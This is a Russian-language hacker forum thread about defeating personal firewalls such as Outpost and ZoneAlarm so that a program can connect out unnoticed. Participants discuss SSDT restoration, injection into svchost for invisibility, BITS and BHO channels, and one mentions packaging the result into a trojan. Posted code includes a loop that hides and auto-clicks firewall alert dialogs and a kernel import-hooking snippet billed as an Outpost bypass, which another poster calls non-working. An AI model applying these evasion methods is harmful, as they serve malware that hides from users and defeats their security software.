Меня интересует какие есть методы их обхода. После долгого времени гуглирования и просмотра васма я понял такое: 1. если делать обход через инжект - надо восстанавливать таблицу Sdt 2. если просто создавать соединения, надо снимать хуки с ядерных функций, которые поставил фаервол мои рассуждения верны? как восстановить Sdt я более-менее нашел инфу и исходники. сижу разбираюсь. а вот как снять хуки не совсем понял. Sdt - это ж таблица адрессов функций ядра, так? если ее восстановить, то сразу же снимуться и хуки? P.s.: извините, если вопрос нелепый, я новичек в этой сфере кодинга
Да. Чистим sdt - инжект не палится, инжектируемся в проц, которому есть доступ в инет(svchost) и там уже создавай любое соединение.
80 порт может вроде любая прога юзать(если я не ошибаюсь.). Или искать окно фаера и нажимать там кнопку "Разрешить". Но инжектом мы убиваем сразу 2 зайцев: невидимость в диспечере задач + обход фаеров.
80 порт может юзать только та прога, которой это можно у него нету оособого статуса. искать окно и нажимать на кнопку - это не то инжект и так будет, но дело в том, что даже тому же svchost.exe не разрешено ко всем портам доступ на исходящие. а те которым разрешено по умолчанию, я юзать не могу (
Смотря какой файер, если оутпост то ето пипец, хотя под его я где то видел сплойт или что то в роде того.
Я както пытался делать вот такую вешь: Запускать осла делать ему невидимое окно. После этого управлять этим окном. Типа передача строки. потом скачевание и сохранение файла. Но облом в том что фаер может начать возмущаться что типа запускается скрытый процес.
Hа невидимое окно многие фаеры ругаются =) Да и запуск ИЕ, левой прогой, тоже не айс, попробуй переместить окно за экран. Самый лучший в этом отношении ZoneAlarm, я не нашёл ещё более-менее простой способ его обхода =\ может конечно плохо искал...
Самый действенный способ - ставь свой драйвер уровня ядра. который быдет сидеть сразу над сетевым драйвером. И тогда хрен кто пропалит. Но его хрен напишишь
эмм.. на днях кой чего накидал... мб кому пригодится... уровень кодинга у меня неважный.. но вообщем зацените... Code: #include <windows.h> #include <conio.h> DWORD WINAPI ThreadFunc(LPVOID lpParam) { while(10) { HWND opf; HWND wbm; wbm=FindWindow("#32770",0); ShowWindow(wbm,SW_HIDE); SendMessage(wbm,WM_COMMAND,BN_CLICKED|104,0); opf=FindWindow("#32770",0); ShowWindow(opf,SW_HIDE); CheckDlgButton(opf,1007,0); CheckDlgButton(opf,1006,1); SendMessage(opf,WM_COMMAND,BN_CLICKED|1055,0); opf=FindWindowEx(opf,0,0,"OK"); SendMessage(opf,BM_CLICK,0,0); } return 0; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow) { DWORD dwThreadId, dwThrdParam = 1; HANDLE hThread; hThread = CreateThread(NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId); if (hThread != NULL) { _getch(); CloseHandle( hThread ); } sleep(10); return 1; }
Обход Outpost Firewall 3.x и 4.0 в Kernel mode (C) wasm.ru Code: static void HookImport( IN PVOID Image, IN PVOID Handler, IN PVOID NewHandler ) { PIMAGE_DOS_HEADER dHeader = Image; PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew); ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if (ImpRVA) { PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA); while (ImpDesc->Name) { PIMAGE_THUNK_DATA Import; Import = RVATOVA(Image, ImpDesc->FirstThunk); while (Import->AddressOfData) { PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData); if (Import->Function == (ULONG)Handler) { Import->Function = (ULONG)NewHandler; } Import++; } ImpDesc++; } } } static PEPROCESS NewIoGetCurrentProcess() { PEPROCESS Process = IoGetCurrentProcess(); if (Process == UserProcess) Process = PsInitialSystemProcess; return Process; } void InitFwb(void) { PVOID Image = GetModuleHandle("filtnt.sys"); ]extern P if (Image) { HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess); } }
razzzar, а что, можно так сделать в user-mode, да? что за ебанутый код GetModuleHandleA никогда не будет работать в kernel mode
забыли упомянуть самый простой вариант - реализация своего Tcp/ip стека также можете юзать Bits, примеров хватает
у меня тут вопрос один созрел: чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое: 1. найти адресс ядерных функций, которые перехватывает фаервол 2. найти адресса оригиналов 3. снять хуки ? или можно сделать вариант с SDT? или СДТ работает толья для инжекта?
Дурдом какой-то. В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ? З.Ы. А вообще, ИМХО, на данный момент - Bits это самое перспективное. Тестили мы его - никто вааще пока походу не ловит.
советую учить делфи. пока ситуация ещё под контролем аналогично Фаерволы могут использовать огромное количество колец защиты, в том числе NDIS-перехват, хуки на устройства tcp,udp, перехват в usermode всевозможных dns-резольвов, и ещё кучи всего, подгружая dll к вашему процессу, ещё хуки на ядерные ф-ии, на запуск специфичного кода (например, на ZwOpenSection и ZwLoadDriver), что не даст вам даже поставить драйвер или выполнить код в kernel mode через колгейт, ещё они могут детектить всевозможные записи в реестр, даже использовать ipfw, и ещё кучу кучу всего, причем часто - взаимозапутаные) если вы думаете что разработчики фаерволов полные лохи, которые не знают как их фаервол потом можно будет обойти - вы очень, очень очень глубоко ошибаетесь так что товарищи, интерисующиеся, если ли в ядре ф-ия connect() и можно ли "снять хук в ядре с функции connect()" и тому подобными вопросами - просто знайте что всё намно-ооооо-го сложнее. мне как-то посденее время все заморочки с драйверами не особо нравятся. есть способы нормальные. все они основаны в основном на COM который я очень нелюблю. можно просто заставить IE слать что надо через использование BHO. (для Great : именно H вторая буква а не D!)) Если IE запрещен - тогда хули, неповезло. что у тебя там работает) может на твоем настроеном аутпосте какой-то там версии это и работает. но если надо это запихнуть в троян - ещё придется просить юзера поставить аутпост определенного языка, настроить режим "обучающий", и вообще попросить сделать так чтоб вылазало именно то окошко, в котором кнопочки нажимаем